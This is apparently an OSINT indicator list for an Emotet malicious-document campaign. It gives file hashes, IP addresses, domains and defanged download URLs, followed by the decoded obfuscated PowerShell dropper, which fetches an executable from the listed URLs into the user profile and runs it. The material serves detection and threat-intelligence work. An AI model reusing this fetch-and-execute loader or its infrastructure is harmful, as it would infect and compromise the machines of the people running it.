Emotet_Doc_out_2019-11-26_12_36.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
eee958c35ed3b4fb733c7f0a27404154
aefa9bf28dbfe8a09ad23c6ef91d761f
7b361b0759d140d1722f3c98bb794551
2cf92a2d5a776b221b01fdb0f9bbce71


IPs:
165.227.156.155
185.71.216.114
206.189.112.148
206.81.10.215
47.103.7.52
50.116.86.205


Domains:
cnmesh.com
www.bastem.xyz
aknasional.com
hengchanginc.com
develregister.telehealth.org


URLs:
hxxps://www.bastem.xyz/cgi-bin/MLLB/
hxxps://cnmesh.com/wp-admin/niPEqG/
hxxps://baknasional.com/mainto/ihp2ir3/
hxxps://www.hengchanginc.com/wp-admin/kzv5/
hxxps://develregister.telehealth.org/bvnx0/tyO/


Decoded Base64 Powershell:
$Tfdljgsf='Xknfwlpr';
$Ssgrmndaftpaj = '600';
$Betxqvonnedam='Vrqqzmrnodqv';
$Fnjopazd=$env:userprofile+'\'+$Ssgrmndaftpaj+'.exe';
$Aiumdrako='Escyukajbq';
$Heudeisxysbbk=&('new-o'+'bj'+'ect') nET.wEBclieNt;
$Dnnsjltb='hxxps://www.bastem.xyz/cgi-bin/MLLB/
hxxps://cnmesh.com/wp-admin/niPEqG/
hxxps://baknasional.com/mainto/ihp2ir3/
hxxps://www.hengchanginc.com/wp-admin/kzv5/
hxxps://develregister.telehealth.org/bvnx0/tyO/'."Spl`it"('
');
$Ywljrfua='Fmvjoieul';
foreach($Ksrnpqivgluwu in $Dnnsjltb){try{$Heudeisxysbbk."d`OW`NlO`ADfile"($Ksrnpqivgluwu, $Fnjopazd);
$Fvupouspmhsdh='Shjeurkympd';
If ((&('Get-I'+'te'+'m') $Fnjopazd)."LE`Ngth" -ge 28731) {[Diagnostics.Process]::"sT`Art"($Fnjopazd);
$Egftctbruckb='Ynjonypwlgj';
break;
$Xhzljvwhamje='Bngusgwzzgp'}}catch{}}$Civzkwydjuqbg='Yazjlkoie'